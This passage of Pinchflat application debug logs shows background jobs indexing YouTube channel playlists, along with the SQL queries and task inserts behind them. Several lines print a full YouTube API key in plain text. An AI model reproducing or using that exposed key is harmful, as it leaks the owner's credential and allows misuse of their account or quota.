m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 15:57:04.234 [debug] QUERY OK source="media_items" db=1.1ms idle=128.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 15:57:04.235 [debug] QUERY OK source="tasks" db=0.1ms idle=130.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799860, 14, ~U[2026-02-10 21:57:04Z], ~U[2026-02-10 21:57:04Z]] 15:57:04.235 [info] {"args":{"id":14},"id":3799821,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":131293,"event":"job:stop","queue_time":482613,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:05.105 [info] {"args":{"id":32},"id":3799822,"meta":{},"system_time":1770760625105845839,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:05.106 [debug] QUERY OK source="sources" db=0.1ms idle=870.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 15:57:05.106 [debug] QUERY OK source="settings" db=0.1ms idle=871.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:05.106 [debug] QUERY OK source="media_profiles" db=0.0ms idle=864.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:05.106 [debug] QUERY OK source="settings" db=0.0ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:05.106 [debug] Fetching recent media IDs from YouTube API for playlist: UU-FpBZR7DbpvNj5UrFN8qUA 15:57:05.106 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:05.106 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:05.278 [debug] QUERY OK source="media_items" db=0.7ms idle=171.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [32, "M5wiw9524O8", "BlEgvswR_tw", "FL6p369Qt-c", "Ksk8tNzi_JQ", "9Gu7zGt6eyU", "FoMrNXZ-yVE", "yUnCteUmUZU", "UoEwFnHmxdo", "_vBqKPsY9CE", "BoNHLYHuXk0", "HKZ4PPq7gPA", "WU0eEZoPaZc", "RoGxFO90jCM", "la04Zg6-yxk", "f7SUrcf4pRE", "6r9_m_8lUD8", "9ELvj8Lq2OU", "oB3Z67186pw", "n4QtXC6J9-0", "BwmeE3CZ5rU", "uoMGUM6VGLg", "5gsKPcJ5RyU", "zjr91LZaAd0", "_JAhkZSZetY", "kGYd2Xjgv9o", "LpD2tUYfMQU", "QqVU5_EmuUU", "R3q9eWJ2Hd4", "msiu27F4vSg", "zCW_1dXRg2k", "XX4JRtVJ-Ls", "6sAhwJIXrKE", "j_hY0oeqbXI", "_c_m409RRBM", "UYKYIQhaj-0", "PKOrJjLnXbU", "D19jxGokuPQ", "aZeoYJBxzGo", "zso06uG6Vtc", "FSOvHJ-3quc", "BlWiOY_haEA", "-5f9L7UZ730", "KknaULuIjds", "5LuAW5CNjzw", "E7PkAVDcS2A", "RDllmPLV-T0", "4pHkSfgy9o4", "ZciRYLMZ5IA", "DTAMCqI104A", ...] 15:57:05.280 [debug] QUERY OK source="media_items" db=1.0ms idle=172.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 15:57:05.280 [debug] QUERY OK source="tasks" db=0.1ms idle=174.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799861, 32, ~U[2026-02-10 21:57:05Z], ~U[2026-02-10 21:57:05Z]] 15:57:05.281 [info] {"args":{"id":32},"id":3799822,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":175182,"event":"job:stop","queue_time":400491,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:06.106 [info] {"args":{"id":4},"id":3799823,"meta":{},"system_time":1770760626106716688,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:06.106 [info] {"args":{"id":24},"id":3799824,"meta":{},"system_time":1770760626106746963,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:06.107 [debug] QUERY OK source="sources" db=0.1ms idle=825.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 15:57:06.107 [debug] QUERY OK source="sources" db=0.2ms idle=825.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 15:57:06.107 [debug] QUERY OK source="settings" db=0.0ms idle=819.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:06.107 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:06.107 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:06.107 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:06.107 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:06.107 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 15:57:06.107 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:06.107 [debug] QUERY OK source="settings" db=0.1ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:06.107 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 15:57:06.107 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:06.108 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:06.108 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:06.315 [debug] QUERY OK source="media_items" db=0.6ms idle=207.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 15:57:06.316 [debug] QUERY OK source="media_items" db=0.3ms idle=208.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 15:57:06.317 [debug] QUERY OK source="tasks" db=0.1ms idle=209.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799862, 4, ~U[2026-02-10 21:57:06Z], ~U[2026-02-10 21:57:06Z]] 15:57:06.317 [info] {"args":{"id":4},"id":3799823,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":210901,"event":"job:stop","queue_time":530988,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:06.426 [debug] QUERY OK source="media_items" db=0.5ms idle=108.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 15:57:06.427 [debug] QUERY OK source="media_items" db=0.2ms idle=109.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 15:57:06.427 [debug] QUERY OK source="tasks" db=0.1ms idle=104.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799863, 24, ~U[2026-02-10 21:57:06Z], ~U[2026-02-10 21:57:06Z]] 15:57:06.428 [info] {"args":{"id":24},"id":3799824,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":321262,"event":"job:stop","queue_time":428686,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:07.108 [info] {"args":{"id":26},"id":3799825,"meta":{},"system_time":1770760627108825096,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:57:07.109 [debug] QUERY OK source="sources" db=0.1ms idle=681.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 15:57:07.109 [debug] QUERY OK source="settings" db=0.1ms idle=681.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:07.109 [debug] QUERY OK source="media_profiles" db=0.0ms idle=674.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:57:07.109 [debug] QUERY OK source="settings" db=0.0ms idle=7.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:07.109 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 15:57:07.109 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:57:07.109 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 15:57:07.211 [debug] QUERY OK source="media_items" db=0.6ms idle=102.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", 